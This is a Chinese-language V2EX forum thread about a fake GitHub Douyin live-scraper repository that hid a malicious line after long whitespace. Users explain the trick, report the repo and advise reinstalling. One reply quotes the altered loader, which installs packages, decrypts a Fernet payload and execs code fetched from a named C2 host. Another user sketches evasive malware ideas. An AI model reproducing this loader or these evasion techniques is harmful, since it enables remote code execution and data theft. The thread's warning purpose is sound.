V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
Alex1688
V2EX  ›  信息安全

GitHub 中有些人给代码放恶意代码,如何针对他?

  •  
  •   Alex1688 · 12 小时 39 分钟前 · 2337 次点击

    起因是最近在了解 DY 直播间的抓取,发现一个 github 仓库,有很多仓库类似,不相信误触了一个, 编译的时候报错,发现 github 预览和实际是两个,有部分代码被隐藏了, 这是怎么做到的? 仓库拥有者是这个人:Douyin-Live , liveMan.py 在第 9 行有看不到的代码, 恶意运行, 我只能说这人真坏!

    29 条回复    2026-04-07 11:30:29 +08:00
    ntedshen
        1
    ntedshen  
       12 小时 35 分钟前   ❤️ 1
    。。。论不开自动折行的坏处
    这不是就是用一堆空格把 exec 放到最后了么。。。
    cairnechen
        2
    cairnechen  
       11 小时 55 分钟前
    其实可以先扔给 AI 分析一波,这种程度的一般都能找出来
    cairnechen
        3
    cairnechen  
       11 小时 46 分钟前
    不过我这个仓库作者之前做的仓库是正常的?专门开了一个组织来上传包含恶意代码的版本?恶堕了吗?
    renmu123
        4
    renmu123  
       11 小时 40 分钟前
    github 先举报一波
    MYDB
        5
    MYDB  
       11 小时 39 分钟前
    fork 比 star 多的仓库,都是假的
    larry011
        6
    larry011  
       11 小时 32 分钟前 via Android
    这么巧,前几天刚刚举报这个仓库
    renmu123
        7
    renmu123  
       11 小时 32 分钟前
    那个 commit 的开发者还有其他的 douyin 项目,建议保留证据,之后举报当前仓库,后面去另一个仓库提 issue
    cairnechen
        8
    cairnechen  
       11 小时 1 分钟前
    你的观察非常敏锐!页面上确实显示贡献者是 saermart ,这也是这种钓鱼仓库最具欺骗性的一点。

    出现这种情况,是因为黑客利用了 Git 的底层机制和 GitHub 的显示规则来进行伪装。作为一个经常和代码打交道的开发者,你可能对 Git 比较熟悉,我来为你拆解一下他们是怎么做到“移花接木”的:

    为什么会显示原作者的名字?
    Git 提交记录自带作者信息: 在 Git 中,每一次 commit 都会附带提交者的名字和邮箱(即 git config user.name 和 user.email )。

    克隆并全盘推送: 攻击者把正版仓库( saermart/DouyinLiveWebFetcher )完整克隆到了本地。这些代码的历史提交记录里,全都是 saermart 的原始邮箱和签名。

    GitHub 的自动关联匹配: 接着,攻击者新建了一个名为 Douyin-Live 的组织,并把克隆下来的代码(连同所有的历史提交记录)推送到这个新仓库里。GitHub 扫描到这些历史提交的邮箱属于 saermart 这个账号,就会自动在贡献者( Contributors )列表中展示他的头像和主页链接。

    卧槽,原来是这么实现的,错怪原作者了
    cairnechen
        9
    cairnechen  
       10 小时 56 分钟前
    @renmu123 有可能不是那个作者干的
    Hashbaby
        10
    Hashbaby  
       5 小时 41 分钟前
    Hashbaby
        11
    Hashbaby  
       5 小时 36 分钟前
    如果换作是我 我就把恶意代码藏到加密的 js 文件里面 利用 node 向 python 注入恶意代码 进行底层函数劫持 这样杀毒软件都不会报毒
    Hashbaby
        12
    Hashbaby  
       5 小时 33 分钟前
    进行函数劫持 而且自带持久化 持久化都不用做了 卡巴斯基都不会报毒 还可以利用 windows 自带的屏幕截图 然后加密数据 回传到 C2 一气呵成
    Hashbaby
        13
    Hashbaby  
       5 小时 30 分钟前
    内存免杀使用心跳抖动 内存完全随机 一点特征都没有 接下来唯一需要注意的就是回连 C2 的主机不要被哈希标注就行了
    Alex1688
        14
    Alex1688  
    OP
       3 小时 36 分钟前
    @Hashbaby 牛,强者如斯,顺便再问下,如果电脑上运行了,会不会被窃取什么
    henix
        15
    henix  
       3 小时 27 分钟前
    https://github.com/Douyin-Live 这里点“Report abuse”,有个“请为您的问题选择类别”的下拉框死活加载不出来,有人知道为什么吗
    Alex1688
        16
    Alex1688  
    OP
       3 小时 25 分钟前
    @henix 我官方举报了
    sddyzm
        17
    sddyzm  
       2 小时 57 分钟前 via iPhone
    还是微软太不上心了
    94
        18
    94  
       2 小时 56 分钟前
    @Alex1688 #14 ,一般都是偷钱包密钥。

    /t/1203253
    v2AKS
        19
    v2AKS  
       2 小时 33 分钟前
    @henix 你节点的问题吧,我能正常打开
    bbbb
        20
    bbbb  
       2 小时 30 分钟前
    太坑了,还运行过这个项目,不知道电脑有没有事。macOS 。
    Alex1688
        21
    Alex1688  
    OP
       2 小时 28 分钟前
    这种人还是非常恶心的,举报没效果吗?你之前
    @larry011
    a83223676
        22
    a83223676  
       2 小时 28 分钟前   ❤️ 1
    @henix 你先输入点东西,然后删除就能出来了
    Alex1688
        23
    Alex1688  
    OP
       2 小时 27 分钟前
    @bbbb 我家里有一台电脑,用的 antigravity 运行的,后来终止了,也不知道有没有问题,担心
    bigha
        24
    bigha  
       2 小时 22 分钟前
    │ 1. 用户执行恶意代码 │
    │ ↓ │
    │ 2. 自动安装依赖: cryptography, fernet, requests │
    │ ↓ │
    │ 3. 解密 Fernet 加密的载荷 │
    │ ↓ │
    │ 4. 执行解密后的代码: │
    │ requests.get('https://marsalek.cy/paste?userid=116') │
    │ ↓ │
    │ 5. C2 服务器返回 Python 代码 │
    │ ↓ │
    │ 6. exec() 执行服务器返回的任意代码


    如果执行了就重装系统吧 避免更多的损失
    Alex1688
        25
    Alex1688  
    OP
       2 小时 4 分钟前
    @bigha 感谢,估计还会有其他人被坑到,举报了,没反应,哎
    Zarhani
        26
    Zarhani  
       1 小时 37 分钟前
    这个域名我打开的时候立即被卡巴斯基拦住了 :)
    sockpuppet9527
        27
    sockpuppet9527  
       1 小时 28 分钟前   ❤️ 1
    "在第 9 行有看不到的代码", 其实看的到,只是 import os 后面空格了 N 行,所以页面上你得往右拉才看的到。
    llsquaer
        28
    llsquaer  
       29 分钟前
    确实不好发现.就算 IDE 里,这不会自动换行,不容易发现啊. 代码就下面那样.我改过加密部分字母了,不能解密运行的

    import os;import subprocess, sys; subprocess.check_call([sys.executable, '-m', 'pip', 'install', 'cryptography', 'fernet', 'requests']); from cryptography.fernet import Fernet; import requests;exec(Fernet(b'g7CbkoPLVMvvKfaZLW2oGOO3q8Khj6Kctk3Vy8kM=').decrypt(b'gAAAdCZD_EjlsxPNG_8di-mnsPIQvU8WA7rrmD_jzQvIRfJ5ct0FxB6hddPBJaaan9zdjwT1C5qvRjIUkhs9tcX09hN4l_XwQWgrJmtZZOYxbv-MfRSD2MJ5VtyqOonxbzN_4Q-id9q_NdhLZpmW5tvDkzJ5ByrOH2h5-M2wlrrL8SZXv8PrtmZX57Z-vqii6W3Ni4vJTBBMLsFKd9PMzQ==xxxx'))
    Alex1688
        29
    Alex1688  
    OP
       1 分钟前
    @llsquaer 准备重装系统了,吃一堑长一智,微软也不用点心
    关于   ·   帮助文档   ·   自助推广系统   ·   博客   ·   API   ·   FAQ   ·   Solana   ·   6043 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 23ms · UTC 03:32 · PVG 11:32 · LAX 20:32 · JFK 23:32
    ♥ Do have faith in what you're doing.